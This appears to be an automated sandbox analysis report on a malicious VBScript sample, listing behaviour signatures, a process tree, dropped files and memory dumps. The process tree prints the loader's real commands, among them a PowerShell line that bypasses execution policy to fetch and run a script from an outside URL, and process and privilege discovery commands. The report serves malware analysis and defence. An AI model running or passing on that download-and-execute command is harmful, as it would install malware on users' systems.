Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
22/08/2026, 00:11
General
- Target brokercarrieragreement.vbs
- Size 383B
- Sample260822-ag2ccazbja
- SHA256 3c136188358499cc638326f8720ac540758d6da5b07bc3c756923de12b5a5de8
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 45 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\brokercarrieragreement.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2FA.cmd" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "& ([scriptblock]::Create((irm https://check.mcsq.workers.dev/p/20)))"3⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\wscript.exeC:\Windows\system32\wscript.exe1⤵
-
C:\Windows\system32\wscript.exe"C:\Windows\system32\wscript.exe" //nologo "C:\Users\Admin\AppData\Local\WebServer-YRWKJLDU\nodeupdate.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\WebServer-YRWKJLDU\node\node.exe"C:\Users\Admin\AppData\Local\WebServer-YRWKJLDU\node\node.exe" "C:\Users\Admin\AppData\Local\WebServer-YRWKJLDU\main.js"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /NH /FO CSV"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\tasklist.exetasklist /NH /FO CSV4⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -Command "$p=New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent()); if($p.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)){'admin'} else {'user'}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
2FA.cmd
__PSScriptPolicyTest_aq03osdi.jeo.ps1
text.js
text.js
LICENSE.md
LICENSE
LICENSE
fetch.js
license
license
LICENSE
LICENSE-MIT.txt
index.js
package.json
index.js
package.json
LICENSE
LICENSE
package.json
package.json
LICENSE
index.js
package.json
package.json
package.json
LICENSE
LICENSE
LICENSE
LICENSE
.env
main.js
corepack
corepack.cmd
npm
npm.cmd
npx
npx.cmd
nodeupdate.vbs
memory/1020-27-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-26-0x000001CE7CC40000-0x000001CE7CC5E000-memory.dmp
memory/1020-23-0x000001CE7C150000-0x000001CE7C15A000-memory.dmp
memory/1020-22-0x000001CE7C980000-0x000001CE7CA32000-memory.dmp
memory/1020-21-0x000001CE7C130000-0x000001CE7C14E000-memory.dmp
memory/1020-18-0x000001CE7CA50000-0x000001CE7CC12000-memory.dmp
memory/1020-17-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-15-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-16-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-14-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-13-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-12-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-25-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-24-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-40-0x000001CE7CC80000-0x000001CE7CC92000-memory.dmp
memory/1020-28-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-29-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-30-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-31-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-33-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-34-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-4318-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-35-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-36-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-39-0x000001CE7C150000-0x000001CE7C15A000-memory.dmp
memory/1020-10-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp
memory/1020-11-0x000001CE7C100000-0x000001CE7C122000-memory.dmp
memory/1020-7-0x00007FFEB9E9F000-0x00007FFEB9EA0000-memory.dmp